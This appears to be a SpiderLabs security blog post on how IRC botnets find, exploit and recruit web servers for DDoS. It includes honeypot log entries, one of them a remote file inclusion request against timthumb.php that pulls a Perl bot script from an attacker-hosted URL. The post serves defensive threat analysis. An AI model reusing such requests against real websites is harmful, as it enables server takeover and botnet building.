CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

The Life Cycle of Web Server Botnet Recruitment

This blog post is an excerpt taken from the recently released Global Security Report (GSR) for 2013.

Over the course of the past year, my team has monitored and analyzed vast amounts of data within our Web honeypots and shared intelligence in our [Honeypot Alert] blog posts. In this blog post, we want to illustrate the most common methods botnet owners use to compromise websites and make them part of their army. The data in this section shows examples of code snippets and log file entries from real captured attacks.

Why target web servers vs. infecting end-user computers? There are a number of factors that make web servers attractive targets for botnet owners:
  1. Web servers are always online where as home computer systems are often shutdown when not in use. This means that the number of botnet systems in control at any one time is variable. This factors into the botnet owner's service offerings as they are often selling their botnet services and having a reliable, strong botnet is key.
  2. Web servers have more network bandwidth than home computer users. This essentially is a Quality of Service metric where commercial web servers are guaranteed specific amounts of network bandwidth usage whereas home computer users typically have much less bandwidth. Additionally, home user network traffic is oftentimes throttled which would make their DDoS attack traffic less.
  3. Web servers have more horse power then home computers. The number of CPUs, RAM, etc... means that commercial servers can generate much more network DDoS traffic then home computer systems.
  4. Web servers are less likely to be blacklisted by ISP vs. home computer systems. This means that web server botnet zombies will be online, sending traffic much longer than home computers.
Essentially, web server botnet participants are like "Super Soldiers" compared to normal grunts in the botnet army.

10185_7d184db4-982a-4779-83c4-d07dd2128003

Step 1: IRC botnet instructs zombies to search for targets

First, attackers identify potential target sites. While it is possible to methodically scan network ranges looking for targets, it is more efficient to use data already collected by legitimate search sites (e.g., Google, Bing, Yahoo). By using their built-in search capabilities, botnet operators can instruct zombies (previously compromised websites or home computer systems) to send custom search queries. Here is an example of the IRC botnet help interface that lists command options:

8974_446d9ee6-08f7-4969-92e3-fd7020aae09b

Here is a listing of the top web vulnerabilities that are targeted by botnet attackers:

9795_6cc431ee-6c62-4922-84a6-4defbf8b53bd

If the attacker wants to execute an RFI attack, it will execute this section of code:

7661_0295c28e-d3ad-4815-8043-682f725a6ff5

Step 2: IRC botnet zombies conduct search engine queries

Zombie clients receive their search commands from the operator and use code to send requests to the various search engines. The results are then parsed to identify target websites that match the vulnerability search data.

Here is an example section of a Perl botnet client's code that lists various Search Engines to use:

11312_b2cc4a52-3d37-4c3c-9f6f-3bd591134981

And here is the section of code that sends the actual queries:

10399_8768f485-11bb-4e73-9e0d-0fdd4c2d2fbf

Step 3: IRC botnet instructs zombie to scan targets for vulnerabilities

Next, zombies verify the existence of the vulnerabilities in the target websites. Here is an example access_log entry:

 187.45.185.36 - - [06/Mar/2013:02:07:09 +0100] "GET /wp-content/themes/kingsize/timthumb.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" 

Step 4: IRC botnet instructs zombie to exploit vulnerability & install botnet client code

These malicious requests attempt to trick the Web application into downloading the code (hosted on a remote, attacker-owned site). If the Web application is vulnerable, it attempts to download the code. In most cases, simply downloading the code is enough, since the attacker can access the file by Web browser.

187.45.185.36 - - [06/Mar/2013:02:07:11 +0100] "GET /wp-content/themes/kingsize/timthumb.php?src=http://picasa.com.ritile.com/black.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"

In this case, the black.txt file is a Perl IRC botnet client script that executes and then logs the compromised web server into the attacker's IRC channel:

9006_45b52a13-9c29-41dd-ba79-b6c62612d8c2

The botnet owner then continues this process over and over again amassing a huge army of compromised web servers.

Post-Recruitment Actions

There are many different tasks that a large botnet can perform for their operator, however the most prevalent one at this point is initiating DDoS attacks as part of either Hacktivist or For-Profit campaigns. Here is an example "HTTPFlood" section of code:

10028_77c18795-7a98-4338-924f-fe8a2c5fd969

 

Latest SpiderLabs Blogs

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More

The Secret Cipher: Modern Data Loss Prevention Solutions

This is Part 7 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here. Far too many organizations place Data Loss Prevention (DLP) and Data...

Read More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway

Overview A command injection vulnerability has been discovered in the GlobalProtect feature within Palo Alto Networks PAN-OS software for specific versions that have distinct feature configurations...

Read More